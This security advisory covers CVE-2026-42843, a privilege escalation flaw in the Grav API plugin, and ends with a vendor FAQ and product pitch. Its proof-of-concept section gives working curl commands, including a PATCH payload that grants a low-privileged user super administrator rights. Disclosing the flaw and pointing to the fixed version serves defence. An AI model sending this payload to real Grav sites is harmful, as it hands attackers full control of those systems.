CVE-2026-42843

An insecure direct object reference and logic flaw in the Grav API plugin (UsersController::update) allows any authenticated user with basic API access (api.access) to modify their own permission configuration. An attacker can exploit this to escalate their privileges to Super Administrator (admin.super and api.super), leading to full system compromise and potential RCE.

Details

The vulnerability is located in user/plugins/api/classes/Api/Controllers/UsersController.php within the update method.

The API allows users to update their own profiles if they possess the basic api.access permission:

// UsersController.php -> update()
$isSelf = $currentUser->username === $username;
if (!$isSelf) {
    $this->requirePermission($request, 'api.users.write');
} else {
    // Self-edit only requires api.access
    $this->requirePermission($request, 'api.access');
}

However, when filtering the fields that are allowed to be updated via a PATCH request, the access field (which defines the user's role and permissions) is indiscriminately included in the $allowedFields whitelist for all users:

// Partial update - only update provided fields
$allowedFields = ['email', 'fullname', 'title', 'state', 'language', 'content_editor', 'access', 'twofa_enabled'];
foreach ($allowedFields as $field) {
    if (array_key_exists($field, $body)) {
        $user->set($field, $body[$field]);
    }
}

Because there is no secondary check to verify if the user attempting to modify the access field is already an administrator, any low-privileged user can overwrite their own access object with a malicious payload granting themselves super: true.

PoC

1. Prerequisites: You need a low-privileged user account (eg. user1) that possesses the basic api.access permission.

2. Obtain JWT: Authenticate to the API to obtain your access_token:

   curl -X POST http://<target>/api/v1/auth/token \
     -H "Content-Type: application/json" \
     -d '{"username":"user1","password":"your_password"}'
   

3. Exploit: Send a PATCH request to the user update endpoint.

   curl -X PATCH http://<target>/api/v1/users/user1 \
     -H "X-API-Token: <your_access_token>" \
     -H "Content-Type: application/json" \
     -d "{\"access\":{\"admin\":{\"login\":true,\"super\":true},\"api\":{\"access\":true,\"super\":true},\"site\":{\"login\":true}}}"
   

4. Verification: Log in to the Grav Admin panel using the user credentials. You will now have full Super Administrator privileges.

This is a vertical Privilege Escalation vulnerability. Any user with baseline API access can elevate themselves to Super Admin. Once Super Admin privileges are obtained, the attacker takes complete control over the CMS. They can modify content, alter configurations, upload malicious plugins, or edit Twig templates outside of the sandbox to achieve RCE on the server.

The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions. Typical impact: unauthorized data access or execution of privileged operations.

CVE-2026-42843 has a CVSS score of 8.8 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.0.0-beta.15); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-42843? CVE-2026-42843 is a high-severity incorrect authorization vulnerability in getgrav/grav-plugin-api (composer), affecting versions < 1.0.0-beta.15. It is fixed in 1.0.0-beta.15. The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions.
2. How severe is CVE-2026-42843? CVE-2026-42843 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of getgrav/grav-plugin-api are affected by CVE-2026-42843? getgrav/grav-plugin-api (composer) versions < 1.0.0-beta.15 is affected.
4. Is there a fix for CVE-2026-42843? Yes. CVE-2026-42843 is fixed in 1.0.0-beta.15. Upgrade to this version or later.
5. Is CVE-2026-42843 exploitable, and should I be worried? Whether CVE-2026-42843 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-42843 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-42843? Upgrade getgrav/grav-plugin-api to 1.0.0-beta.15 or later.